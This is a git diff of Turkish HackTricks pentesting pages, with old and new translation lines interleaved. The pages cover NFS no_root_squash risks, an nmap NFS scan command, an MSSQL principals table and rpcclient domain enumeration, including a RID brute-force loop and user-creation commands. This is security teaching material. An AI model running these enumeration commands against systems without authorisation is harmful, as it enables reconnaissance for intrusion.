- **Kök Dosyalarının Sahipliği (`no_root_squash`):** Bu ayar ile, kök kullanıcı tarafından oluşturulan dosyalar, 0 olan orijinal UID/GID'lerini korur, bu da en az ayrıcalık ilkesini göz ardı eder ve aşırı izinler verebilir.
- **Tüm Kullanıcıların Sıkıştırılmaması (`no_all_squash`):** Bu seçenek, kullanıcı kimliklerinin sistem genelinde korunmasını sağlar, ancak doğru şekilde yönetilmezse izin ve erişim kontrol sorunlarına yol açabilir.
- **Tüm Kullanıcıların Squash Edilmemesi (`no_all_squash`):** Bu seçenek, kullanıcı kimliklerinin sistem genelinde korunmasını sağlar, bu da doğru bir şekilde ele alınmadığında izin ve erişim kontrol sorunlarına yol açabilir.
## NFS hatalı yapılandırmalarını kullanarak Ayrıcalık Yükseltme
## NFS yanlış yapılandırmaları ile Ayrıcalık Yükseltme
[NFS no\_root\_squash ve no\_all\_squash ayrıcalık yükseltme](../linux-hardening/privilege-escalation/nfs-no\_root\_squash-misconfiguration-pe.md)
[NFS no\_root\_squash ve no\_all\_squash ayrıcalık yükseltmesi](../linux-hardening/privilege-escalation/nfs-no\_root\_squash-misconfiguration-pe.md)
## HackTricks Otomatik Komutları
## HackTricks Otomatik Komutlar
```
Protocol_Name: NFS #Protocol Abbreviation if there is one.
Port_Number: 2049 #Comma separated if there is more than one.
@ -129,14 +124,17 @@ Name: Nmap
Description: Nmap with NFS Scripts
Command: nmap --script=nfs-ls.nse,nfs-showmount.nse,nfs-statfs.nse -p 2049 {IP}
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,43 +1,51 @@
# MSSQL Kullanıcı Türleri
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter'da** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)** göndererek paylaşın.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
Tablo, [**dokümantasyondan**](https://learn.microsoft.com/en-us/sql/relational-databases/system-catalog-views/sys-database-principals-transact-sql?view=sql-server-ver16) alınmıştır.
Tablo [**belgelerden**](https://learn.microsoft.com/en-us/sql/relational-databases/system-catalog-views/sys-database-principals-transact-sql?view=sql-server-ver16) alınmıştır.
| Sütun adı | Veri tipi | Açıklama |
| ------------------------------------------ | ----------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| **name** | **sysname** | Veritabanı içinde benzersiz olan prensipalin adı. |
| **principal\_id** | **int** | Veritabanı içinde benzersiz olan prensipalin kimliği. |
| **type** | **char(1)** | <p>Prensipal türü:<br><br>A = Uygulama rolü<br><br>C = Sertifikaya eşlenen kullanıcı<br><br>E = Azure Active Directory'den dış kullanıcı<br><br>G = Windows grubu<br><br>K = Asimetrik anahtara eşlenen kullanıcı<br><br>R = Veritabanı rolü<br><br>S = SQL kullanıcısı<br><br>U = Windows kullanıcısı<br><br>X = Azure Active Directory grubu veya uygulamalarından dış grup</p> |
| **type\_desc** | **nvarchar(60)** | <p>Prensipal türünün açıklaması.<br><br>APPLICATION_ROLE<br><br>CERTIFICATE_MAPPED_USER<br><br>EXTERNAL_USER<br><br>WINDOWS_GROUP<br><br>ASYMMETRIC_KEY_MAPPED_USER<br><br>DATABASE_ROLE<br><br>SQL_USER<br><br>WINDOWS_USER<br><br>EXTERNAL_GROUPS</p> |
| **default\_schema\_name** | **sysname** | SQL adı bir şema belirtmediğinde kullanılacak ad. S, U veya A türünde olmayan prensipler için boş. |
| **create\_date** | **datetime** | Prensipalin oluşturulduğu zaman. |
| **modify\_date** | **datetime** | Prensipalin en son ne zaman değiştirildiği. |
| **owning\_principal\_id** | **int** | Bu prensipali sahip olan prensipalin kimliği. Tüm sabit Veritabanı Rolleri varsayılan olarak **dbo** tarafından sahiplenilir. |
| **sid** | **varbinary(85)** | Prensipalin SID'si (Güvenlik Tanımlayıcısı). SYS ve INFORMATION SCHEMAS için NULL. |
| **is\_fixed\_role** | **bit** | Eğer 1 ise, bu satır sabit veritabanı rollerinden biri için bir girişi temsil eder: db\_owner, db\_accessadmin, db\_datareader, db\_datawriter, db\_ddladmin, db\_securityadmin, db\_backupoperator, db\_denydatareader, db\_denydatawriter. |
| **authentication\_type** | **int** | <p><strong>Uygulanır:</strong> SQL Server 2012 (11.x) ve sonraki sürümler.<br><br>Kimlik doğrulama türünü belirtir. Aşağıdaki değerler ve açıklamaları mümkündür.<br><br>0 : Kimlik doğrulama yok<br>1 : Örnek kimlik doğrulama<br>2 : Veritabanı kimlik doğrulama<br>3 : Windows kimlik doğrulama<br>4 : Azure Active Directory kimlik doğrulama</p> |
| **authentication\_type\_desc** | **nvarchar(60)** | <p><strong>Uygulanır:</strong> SQL Server 2012 (11.x) ve sonraki sürümler.<br><br>Kimlik doğrulama türünün açıklaması. Aşağıdaki değerler ve açıklamaları mümkündür.<br><br><code>NONE</code> : Kimlik doğrulama yok<br><code>INSTANCE</code> : Örnek kimlik doğrulama<br><code>DATABASE</code> : Veritabanı kimlik doğrulama<br><code>WINDOWS</code> : Windows kimlik doğrulama<br><code>EXTERNAL</code>: Azure Active Directory kimlik doğrulama</p> |
| **default\_language\_name** | **sysname** | <p><strong>Uygulanır:</strong> SQL Server 2012 (11.x) ve sonraki sürümler.<br><br>Bu prensipal için varsayılan dilin anlamını belirtir.</p> |
| **default\_language\_lcid** | **int** | <p><strong>Uygulanır:</strong> SQL Server 2012 (11.x) ve sonraki sürümler.<br><br>Bu prensipal için varsayılan LCID'yi belirtir.</p> |
| **allow\_encrypted\_value\_modifications** | **bit** | <p><strong>Uygulanır:</strong> SQL Server 2016 (13.x) ve sonraki sürümler, SQL Database.<br><br>Sunucuda toplu kopyalama işlemlerinde şifreli veriye yönelik kriptografik meta veri denetimlerini bastırır. Bu, kullanıcının veriyi çözmeden, Always Encrypted kullanarak şifrelenmiş veriyi tablolar veya veritabanları arasında toplu kopyalama yapmasına olanak tanır. Varsayılan olarak KAPALI'dır.</p> |
| Sütun adı | Veri türü | Açıklama |
| ------------------------------------------ | ---------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| **name** | **sysname** | İlkelerin adı, veritabanı içinde benzersizdir. |
| **principal\_id** | **int** | İlkelerin ID'si, veritabanı içinde benzersizdir. |
| **type** | **char(1)** | <p>İlkelerin türü:<br><br>A = Uygulama rolü<br><br>C = Bir sertifikaya eşlenmiş kullanıcı<br><br>E = Azure Active Directory'den dış kullanıcı<br><br>G = Windows grubu<br><br>K = Asimetrik anahtara eşlenmiş kullanıcı<br><br>R = Veritabanı rolü<br><br>S = SQL kullanıcısı<br><br>U = Windows kullanıcısı<br><br>X = Azure Active Directory grubundan veya uygulamalardan dış grup</p> |
| **type\_desc** | **nvarchar(60)** | <p>İlkelerin türünün açıklaması.<br><br>APPLICATION_ROLE<br><br>CERTIFICATE_MAPPED_USER<br><br>EXTERNAL_USER<br><br>WINDOWS_GROUP<br><br>ASYMMETRIC_KEY_MAPPED_USER<br><br>DATABASE_ROLE<br><br>SQL_USER<br><br>WINDOWS_USER<br><br>EXTERNAL_GROUPS</p> |
| **default\_schema\_name** | **sysname** | SQL adı bir şema belirtmediğinde kullanılacak ad. S, U veya A türünde olmayan ilkeler için Null. |
| **create\_date** | **datetime** | İlkelerin oluşturulduğu zaman. |
| **modify\_date** | **datetime** | İlkelerin son değiştirildiği zaman. |
| **owning\_principal\_id** | **int** | Bu ilkeleri sahip olan ilkenin ID'si. Tüm sabit Veritabanı Rolleri varsayılan olarak **dbo** tarafından sahiplenir. |
| **sid** | **varbinary(85)**| İlkelerin SID'si (Güvenlik Tanımlayıcısı). SYS ve BİLGİ ŞEMALARI için NULL. |
| **is\_fixed\_role** | **bit** | Eğer 1 ise, bu satır sabit veritabanı rollerinden birinin kaydını temsil eder: db\_owner, db\_accessadmin, db\_datareader, db\_datawriter, db\_ddladmin, db\_securityadmin, db\_backupoperator, db\_denydatareader, db\_denydatawriter. |
| **authentication\_type** | **int** | <p><strong>Uygulanır</strong>: SQL Server 2012 (11.x) ve sonrası.<br><br>Kimlik doğrulama türünü belirtir. Aşağıdaki olası değerler ve açıklamalarıdır.<br><br>0 : Kimlik doğrulama yok<br>1 : Örnek kimlik doğrulaması<br>2 : Veritabanı kimlik doğrulaması<br>3 : Windows kimlik doğrulaması<br>4 : Azure Active Directory kimlik doğrulaması</p> |
| **authentication\_type\_desc** | **nvarchar(60)** | <p><strong>Uygulanır</strong>: SQL Server 2012 (11.x) ve sonrası.<br><br>Kimlik doğrulama türünün açıklaması. Aşağıdaki olası değerler ve açıklamalarıdır.<br><br><code>NONE</code> : Kimlik doğrulama yok<br><code>INSTANCE</code> : Örnek kimlik doğrulaması<br><code>DATABASE</code> : Veritabanı kimlik doğrulaması<br><code>WINDOWS</code> : Windows kimlik doğrulaması<br><code>EXTERNAL</code>: Azure Active Directory kimlik doğrulaması</p> |
| **default\_language\_name** | **sysname** | <p><strong>Uygulanır</strong>: SQL Server 2012 (11.x) ve sonrası.<br><br>Bu ilke için varsayılan dili belirtir.</p> |
| **default\_language\_lcid** | **int** | <p><strong>Uygulanır</strong>: SQL Server 2012 (11.x) ve sonrası.<br><br>Bu ilke için varsayılan LCID'yi belirtir.</p> |
| **allow\_encrypted\_value\_modifications** | **bit** | <p><strong>Uygulanır</strong>: SQL Server 2016 (13.x) ve sonrası, SQL Veritabanı.<br><br>Toplu kopyalama işlemlerinde sunucudaki kriptografik meta verileri kontrollerini bastırır. Bu, kullanıcının verileri şifrelenmiş olarak toplu kopyalamasını sağlar, Always Encrypted kullanarak, tablolar veya veritabanları arasında, verileri şifre çözmeden. Varsayılan OFF'tur.</p> |
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter'da** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# rpcclient enumeration
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary>Support HackTricks</summary>
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek ister misiniz**? Ya da **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grubuna**](https://discord.gg/hRep4RUj7f) veya **telegram grubuna** veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking püf noktalarınızı göndererek [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR gönderin**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Try Hard Security Group**
@ -20,31 +23,31 @@
***
### Göreceli Kimlik Belirleyicileri (RID) ve Güvenlik Kimlik Belirleyicileri (SID) Genel Bakış
### Relative Identifiers (RID) ve Security Identifiers (SID) Genel Bakış
**Göreceli Kimlik Belirleyicileri (RID)** ve **Güvenlik Kimlik Belirleyicileri (SID)**, Windows işletim sistemlerinde ağ etki alanı içinde kullanıcılar ve gruplar gibi nesneleri benzersiz bir şekilde tanımlamak ve yönetmek için önemli bileşenlerdir.
**Relative Identifiers (RID)** ve **Security Identifiers (SID)**, Windows işletim sistemlerinde, bir ağ alanı içindeki nesneleri, örneğin kullanıcılar ve gruplar, benzersiz bir şekilde tanımlamak ve yönetmek için anahtar bileşenlerdir.
- **SIDs**, her etki alanının ayırt edilebilir olduğunu sağlayan benzersiz kimlik belirleyicileri olarak hizmet eder.
- **RIDs**, bu etki alanlarındaki nesneler için benzersiz kimlik belirleyicileri oluşturmak için SIDs'ye eklenir. Bu kombinasyon, nesne izinlerinin ve erişim kontrollerinin hassas takibi ve yönetimine olanak tanır.
- **SID'ler**, alanlar için benzersiz tanımlayıcılar olarak hizmet eder ve her alanın ayırt edilebilir olmasını sağlar.
- **RID'ler**, bu alanlar içindeki nesneler için benzersiz tanımlayıcılar oluşturmak üzere SID'lere eklenir. Bu kombinasyon, nesne izinlerinin ve erişim kontrollerinin hassas bir şekilde izlenmesini ve yönetilmesini sağlar.
Örneğin, `pepe` adında bir kullanıcının, etki alanının SID'si ile belirli RID'sini birleştiren benzersiz bir kimlik belirleyicisi olabilir. Bu, hem onaltılık (`0x457`) hem de ondalık (`1111`) formatlarda temsil edilir. Bu, pepe için etki alanı içinde tam ve benzersiz bir kimlik belirleyici oluşturur: `S-1-5-21-1074507654-1937615267-42093643874-1111`.
Örneğin, `pepe` adında bir kullanıcının, alanın SID'si ile onun belirli RID'sini birleştiren benzersiz bir tanımlayıcısı olabilir; bu, hem onaltılık (`0x457`) hem de ondalık (`1111`) formatlarda temsil edilir. Bu, alan içinde pepe için tam ve benzersiz bir tanımlayıcı oluşturur: `S-1-5-21-1074507654-1937615267-42093643874-1111`.
### **rpcclient ile Numaralandırma**
### **rpcclient ile Enumeration**
Samba'dan gelen **`rpcclient`** yardımcı programı, **adlandırılmış borular aracılığıyla RPC uç noktalarıyla etkileşimde bulunmak** için kullanılır. Aşağıdaki komutlar, genellikle kimlik bilgilerini gerektiren bir **SMB oturumu kurulduktan sonra** SAMR, LSARPC ve LSARPC-DS arabirimlerine verilebilecek komutlardır.
Samba'dan **`rpcclient`** aracı, **RPC uç noktalarıyla adlandırılmış borular aracılığıyla etkileşimde bulunmak için** kullanılır. Aşağıdaki komutlar, genellikle kimlik bilgileri gerektiren bir **SMB oturumu kurulduktan sonra** SAMR, LSARPC ve LSARPC-DS arayüzlerine verilebilir.
#### Sunucu Bilgileri
* **Sunucu Bilgilerini** almak için: `srvinfo` komutu kullanılır.
* **Sunucu Bilgileri almak için**: `srvinfo` komutu kullanılır.
#### Kullanıcıların Numaralandırılması
#### Kullanıcıların Enumeration'ı
* **Kullanıcılar**, `querydispinfo` ve `enumdomusers` komutları kullanılarak listelenebilir.
* **Bir kullanıcının ayrıntıları**, `queryuser <0xrid>` ile alınabilir.
* **Bir kullanıcının grupları**, `queryusergroups <0xrid>` ile alınabilir.
* **Bir kullanıcının SID'si**, `lookupnames <kullanıcıadı>` ile alınabilir.
* **Kullanıcıların takma adları**, `queryuseraliases [builtin|domain] <sid>` ile alınabilir.
* **Kullanıcılar listelenebilir**: `querydispinfo` ve `enumdomusers` kullanılarak.
* **Bir kullanıcının detayları**: `queryuser <0xrid>` ile.
* **Bir kullanıcının grupları**: `queryusergroups <0xrid>` ile.
* **Bir kullanıcının SID'si**: `lookupnames <username>` ile alınır.
* **Kullanıcıların takma adları**: `queryuseraliases [builtin|domain] <sid>` ile.
```bash
# Users' RIDs-forced
for i in $(seq 500 1100); do
@ -53,53 +56,53 @@ done
# samrdump.py can also serve this purpose
```
#### Grupların Sıralanması
#### Grupların Enumerasyonu
* **Gruplar** şu şekilde sıralanır: `enumdomgroups`.
* **Bir grubun detayları** şu şekilde alınır: `querygroup <0xrid>`.
* **Bir grubun üyeleri** şu şekilde alınır: `querygroupmem <0xrid>`.
* **Gruplar** için: `enumdomgroups`.
* **Bir grubun detayları** için: `querygroup <0xrid>`.
* **Bir grubun üyeleri** için: `querygroupmem <0xrid>`.
#### Alias Gruplarının Sıralanması
#### Takma Ad Gruplarının Enumerasyonu
* **Alias grupları** şu şekilde sıralanır: `enumalsgroups <builtin|domain>`.
* **Bir alias grubunun üyeleri** şu şekilde alınır: `queryaliasmem builtin|domain <0xrid>`.
* **Takma ad grupları** için: `enumalsgroups <builtin|domain>`.
* **Bir takma ad grubunun üyeleri** için: `queryaliasmem builtin|domain <0xrid>`.
#### Alanların Sıralanması
#### Alanların Enumerasyonu
* **Alanlar** şu şekilde sıralanır: `enumdomains`.
* **Bir alanın SID'si alınır** şu şekilde alınır: `lsaquery`.
* **Alan bilgileri** şu şekilde alınır: `querydominfo`.
* **Alanlar** için: `enumdomains`.
* **Bir alanın SID'si** için: `lsaquery`.
* **Alan bilgileri** için: `querydominfo`.
#### Paylaşımların Sıralanması
#### Paylaşımların Enumerasyonu
* **Tüm mevcut paylaşımlar** şu şekilde sıralanır: `netshareenumall`.
* **Belirli bir paylaşım hakkında bilgi** şu şekilde alınır: `netsharegetinfo <share>`.
* **Tüm mevcut paylaşımlar** için: `netshareenumall`.
* **Belirli bir paylaşım hakkında bilgi** için: `netsharegetinfo <share>`.
#### SIDs ile İlgili Ek İşlemler
#### SID'lerle Ek İşlemler
* **İsimlere göre SIDs** şu şekilde alınır: `lookupnames <username>`.
* **Daha fazla SID'ler** şu şekilde alınır: `lsaenumsid`.
* **Daha fazla SID'leri kontrol etmek için RID döngüsü** şu şekilde yapılır: `lookupsids <sid>`.
* **İsimle SID'ler** için: `lookupnames <username>`.
* **Daha fazla SID** için: `lsaenumsid`.
* **Daha fazla SID kontrolü için RID döngüsü**: `lookupsids <sid>`.
#### **Ek komutlar**
| **Komut** | **Arayüz** | **Açıklama** |
| **Komut** | **Arayüz** | **Açıklama** |
| ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- |
| queryuser | SAMR | Kullanıcı bilgilerini almak için |
| querygroup | Grup bilgilerini almak için | |
| querydominfo | Alan bilgilerini almak için | |
| enumdomusers | Alan kullanıcılarını sıralamak için | |
| enumdomgroups | Alan gruplarını sıralamak için | |
| createdomuser | Bir alan kullanıcısı oluşturmak için | |
| deletedomuser | Bir alan kullanıcısını silmek için | |
| lookupnames | LSARPC | Kullanıcı adlarını SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) değerlerine dönüştürme |
| lookupsids | SIDs'leri kullanıcı adlarına dönüştürme (RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9) döngüsü) | |
| lsaaddacctrights | Bir kullanıcı hesabına hak ekleme | |
| lsaremoveacctrights | Bir kullanıcı hesabından hakları kaldırma | |
| dsroledominfo | LSARPC-DS | Birincil alan bilgilerini almak |
| dsenumdomtrusts | Bir AD ormanı içinde güvenilen alanları sıralamak | |
| queryuser | SAMR | Kullanıcı bilgilerini al |
| querygroup | Grup bilgilerini al | |
| querydominfo | Alan bilgilerini al | |
| enumdomusers | Alan kullanıcılarını listele | |
| enumdomgroups | Alan gruplarını listele | |
| createdomuser | Bir alan kullanıcısı oluştur | |
| deletedomuser | Bir alan kullanıcısını sil | |
| lookupnames | LSARPC | Kullanıcı adlarını SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) değerlerine bak |
| lookupsids | SID'leri kullanıcı adlarına (RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9) döngüsü) bak | |
| lsaaddacctrights | Bir kullanıcı hesabına hak ekle | |
| lsaremoveacctrights | Bir kullanıcı hesabından hakları kaldır | |
| dsroledominfo | LSARPC-DS | Ana alan bilgilerini al |
| dsenumdomtrusts | Bir AD ormanı içindeki güvenilen alanları listele | |
**_Samrdump_** ve **_rpcdump_** araçlarının nasıl çalıştığını daha iyi **anlamak** için [**Pentesting MSRPC**](../135-pentesting-msrpc.md) bölümünü okumalısınız.
_**samrdump**_ **ve** _**rpcdump**_ araçlarının nasıl çalıştığını daha iyi **anlamak** için [**Pentesting MSRPC**](../135-pentesting-msrpc.md) okuyun.
**Try Hard Security Group**
@ -107,14 +110,17 @@ done
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan Kahraman'a AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* **Bir **_**cybersecurity şirketinde**_ **çalışıyor musunuz? Şirketinizi HackTricks'te **tanıtmak** ister misiniz? veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,33 +1,39 @@
# Firebase Veritabanı
# Firebase Database
{% hint style="success" %}
